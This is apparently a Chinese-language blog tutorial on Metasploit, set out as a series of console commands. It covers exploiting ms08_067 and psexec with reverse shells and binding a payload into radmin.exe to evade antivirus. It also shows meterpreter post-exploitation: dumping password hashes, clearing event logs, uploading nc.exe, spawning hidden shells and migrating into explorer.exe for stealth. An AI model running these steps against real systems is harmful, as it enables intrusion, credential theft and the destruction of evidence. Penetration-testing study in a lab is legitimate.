1.渗透测试框架
默认的数据库为:postgresql
端口为:5432
初始化数据库
msfdb reinit
2.技术功能模块(不是流程模块)
程序主目录
/usr/share/metasploit-framework/
有6个模块
Exploits:利用系统漏洞进行攻击的动作,此模块对应的每一个具体漏洞的攻击方法(主动、被动)
Payload:成功exploit之后,真正在目标系统中执行的代码指令
- shellcode或系统命令
- 三种payload:/usr/share/metasploit-framework/modules/payload/
- single:all-in-one
- stager:目标计算器内存有限时,先传输一个较小的payload用于建立连接
- stages:利用stager建立的连接下载的后续payload
- stager、stages都有多种类型,适用于不同场景
- shellcode 是payload的一种,由于其建立正向/反向shell而得名
msf架构
技术功能模块(不是流程模块)
- Auxiliary:执行信息收集、枚举、指纹探测、扫描等功能辅助模块(没有payload的exploit模块)
- Encoders:对payload进行加密,躲避AV检查的模块
- Nope:提高payload稳定性及维持大小
基本的使用
使用前先升级:msfupdate
初始化数据库:smfdb reinit
Msfcli使用接口
Msfconsole使用接口
- 最流行的接口
- 几乎可以使用全部MSF功能
- 控制台命令支持TAB自动补齐
- 支持外部命令的执行(系统命令等)
- 点击鼠标启动 /msfconsole -h -q -r -v /exit
- help / ? / help vulns
msf控制台命令
- banner :显示banner信息
- color:颜色的区分
- connect -h 可以作为一个客户端去连接别人,类似于nc差不多,支持SSL,代理,UDP
show auxiliary / exploits / payload / encoders / nops
search ms10-046 搜索内容太多,可以使用下面的语句进行快速搜索
- search name:mysql
- search cve:2016
- search type:auxiliary
08-067漏洞利用
search 08_067 查找模块
use exploit/windows/smb/ms08_067_netapi 进入模块
info 查看模块当前模块的基本信息
show options 设置选项
show targets 制定类型
show advanced 设置高级的参数
show missing 设置需要配置的参数
set rhost 192.168.11.118 设置要攻击的IP
check 检查漏洞是否真的存在
back 返回上一层
数据库断开与连接
db_disconnect 断开当前数据库的连接
cd /usr/share/metasploit-framework/config 默认的数据库连接地址
db_connect msf3:msf@localhost/msf3 数据库连接
db_nmap
>db_nmap 192.168.1.1 调用namp扫描工具,并保存到PostgreSQL里面
hosts 查看数据库里面的nmap扫描记录
hosts 192.168.1.1 筛选其中一条nmap记录
services 查看开放的端口
>services -S 3306 查看某个特定开放的端口
services -c port,state -p 1-200 查看端口和状态为开放的IP段1-200的存活ip
mysql_login模块使用
search mysql_login 搜索这个漏洞利用辅助模块
use auxiliary/scanner/mysql/mysql_login 进入这个辅助模块
show options 设置
set blank_passwords true 开启密码为空的选项
set rhosts 192.168.11.120 攻击IP
set username root 用户名
exploit 开始
creds 查看利用成功的IP
数据库导入
db_import /root/12.xml
unset rhosts 取消刚刚设置的参数
setg rhosts 1.1.1.1 全局变量,把所有要设置IP的参数全部都设置成1.1.1.1
unsetg rhosts 取消全局变量
Exploit模块
RHOST远程主机,LHOST本地主机
1.active,受害者的服务存在漏洞,攻击者主动向受害者发送漏洞利用代码。
实例:exploit/windows/smb/psexec
适用场景:攻击者获取到了受害者的账号和密码,但是受害者机器上没有开放Telnet,远程桌面等服务。
注:如果想该漏洞利用成功,需要关闭用户账号控制设置(UAC)

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set rhost 192.168.80.150
msf exploit(psexec) > set smbuser coler
msf exploit(psexec) > set smbpass 123456
msf exploit(psexec) > set payload windows/shell/reverse_tcp
msf exploit(psexec) > set lhost 192.168.80.163
msf exploit(psexec) > exploit -j
msf exploit(handler) > sessions -u 1 将shell提升到meterpreter类型的shell
上面攻击都是针对存在漏洞的服务器程序,提供服务器端的程序
2.passive,受害者的客户端程序存在漏洞,攻击者诱使受害者使用存在漏洞的客户端程序,访问自己构建好的 存在漏洞利用代码的服务端程序。
实例:exploit/windows/browser/ms07_017_ani_loadimage_chunksize
msf > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
msf exploit(ms07_017_ani_loadimage_chunksize) > set srvhost 192.168.80.163
msf exploit(ms07_017_ani_loadimage_chunksize) > set payload windows/shell/reverse_tcp
msf exploit(ms07_017_ani_loadimage_chunksize) > set lhost 192.168.80.163
msf exploit(ms07_017_ani_loadimage_chunksize) > exploit
在存在漏洞的IE浏览器上访问http://192.168.80.163/,攻击者会得到受害者的shell。
payload模块
msf > use payload/windows/shell_bind_tcp
msf payload(windows/shell_bind_tcp) > generate -b '\x00' 过滤坏字符(实际是使用encoders模块将坏字符编码)
msf payload(windows/shell_bind_tcp) > generate -b '\x00\xff' -t exe -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f 123.exe 将payload绑定到radmin.exe中
在靶机上运行123.exe,然后在攻击机上用nc连接靶机的4444端口,会获得靶机的shell。
root@kali:~# nc 192.168.11.122 4444
注:有时将绑定payload的执行程序拷贝到物理机上,会被物理机的杀毒软件杀掉,可以先开启msf的Apache服务,将exe程序放在/var/www/html目录下,然后通过虚拟机直接访问下载。
root@kali:~# service apache2 start
root@kali:~# cp 123.exe /var/www/html/
Meterpreter
- 高级、动态、可扩展的payload
- 基于meterpreter上下文利用更多漏洞发起攻击
- 后渗透测试阶段一站式操作界面
2.完全基于内存的DLL注入式payload(不写硬盘)
- 注入到系统一个正常的进程里面(桌面进程等(explorer.exe))隐蔽性很好
- 利用tls隧道进一步加载后续扩展模块(避免网络取证 )
Meterpreter基本命令
例子:ms08_067
search ms08_067
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > show options
msf exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.11.114
msf exploit(windows/smb/ms08_067_netapi) > set target 34
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) >set lhost 192.168.11.124
msf exploit(windows/smb/ms08_067_netapi) >msf exploit(windows/smb/ms08_067_netapi) >exploit -j
sessions -l
---------------------------------------------------------------------------------------------------
msf exploit(windows/smb/ms08_067_netapi) >sessions -i 2 进入meterpreter类型的shell
meterpreter > background 退出到msf命令提示符下,session一直都在
meterpreter > lpwd 等价于在kali上输入pwd
meterpreter > lcd /etc 等价于在kali上输入cd /etc
meterpreter >edit aaa.txt 编辑文件
meterpreter > getuid 查看权限
meterpreter > bgrun hashdump 获取目标主机的hash
meterpreter > bgrun vnc 开启图形化的远程管理
--------------------------------------------------------------------------------------------------------
meterpreter > clearev 清除日志
meterpreter > download OEWABLog.txt 下载目标主机上面的文件
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32 上传nc到目标主机上面,注意要使用2个反斜杠
meterpreter > dir system32\\nc.exe 查看是否上传成功
meterpreter > execute -f cmd.exe -i -H 获得目标主机的shell,-i交互模式,-H隐藏
---------------------------------------------------------------------------------------------------------
meterpreter > getuid 查看当前账号
meterpreter > getsystem 如果获取的不是system权限,强制性的获取成system
meterpreter > getprivs 查看有哪些操作系统的权限
meterpreter > getpid 查看注入到那个进程里面了
Current pid: 1100
meterpreter > ps 查看这个1100是什么进程
meterpreter > migrate 1624 把1100的进程迁移到1624(桌面的进程中来)这样做的目的是:隐蔽性比较好,查看进程时,是一个正常的进程
-----------------------------------------------------------------------------------------------------------
操作系统中常用的命令:
meterpreter > hashdump
meterpreter > run post/windows/gather/smart_hashdump
上面两个都是获取hash的命令,第二个调用模块,第一个自身的命令,结果都是一样的
meterpreter > sysinfo 查看系统信息
meterpreter > kill 1100 结束进程
meterpreter > show_mount 查看目标系统主机挂载的盘
----------------------------------------------------------------------------------------------------------
网络中的命令:
terpreter > route 查看当前路由表
terpreter > arp
terpreter > netstat
terpreter > ipconfig和ifconfig 在meterpreter都可以使用
-------------------------------------------------------------------------------------------------------
meterpreter > idletime 目标操作系统空闲多长时间
Meterpreter python扩展
2015年11月份,来自社区的贡献
无需运行环境,在客户端运行原生python代码
load python
- help
- meterpreter > python_execute "print('hello world')"
msf 信息收集
一、主动信息收集
1、Nmap扫描
db_nmap -sV 192.168.1.1
2、search arp
msf > use auxiliary/scanner/discovery/arp_sweep 进入arp_sweep 这个模块
msf auxiliary(scanner/discovery/arp_sweep) > show options 查看需要配置的参数
msf auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.11.0/24 设置目标主机的IP段
msf auxiliary(scanner/discovery/arp_sweep) > set threads 20 设置线程为20
msf auxiliary(scanner/discovery/arp_sweep) > exploit/run 开始扫描
3、search portscan
msf > use auxiliary/scanner/portscan/syn 进入这个扫描的模块
msf auxiliary(scanner/portscan/syn) > show options 查看需要配置的参数
msf auxiliary(scanner/portscan/syn) > set ports 80 设置扫描的端口
msf auxiliary(scanner/portscan/syn) > set rhosts 192.168.11.0/24 设置目标主机的IP段
msf auxiliary(scanner/portscan/syn) > set threads 20 设置线程
msf auxiliary(scanner/portscan/syn) > show options 再次查看需要设置的参数
msf auxiliary(scanner/portscan/syn) > exploit 运行
4、UDP扫描
msf > use auxiliary/scanner/discovery/udp_sweep 进入模块
msf auxiliary(scanner/discovery/udp_sweep) > show options 查看需要配置的参数
msf auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.1.100-192.168.1.200 设置目标主机的IP段
msf auxiliary(scanner/discovery/udp_sweep) > run 开始扫描
二、被动信息收集
密码嗅探
- 支持从pcap抓包文件中提取密码
- 功能类似于dsniff
- 目前支持pop3、imap、ftp、Http GET协议
网友评论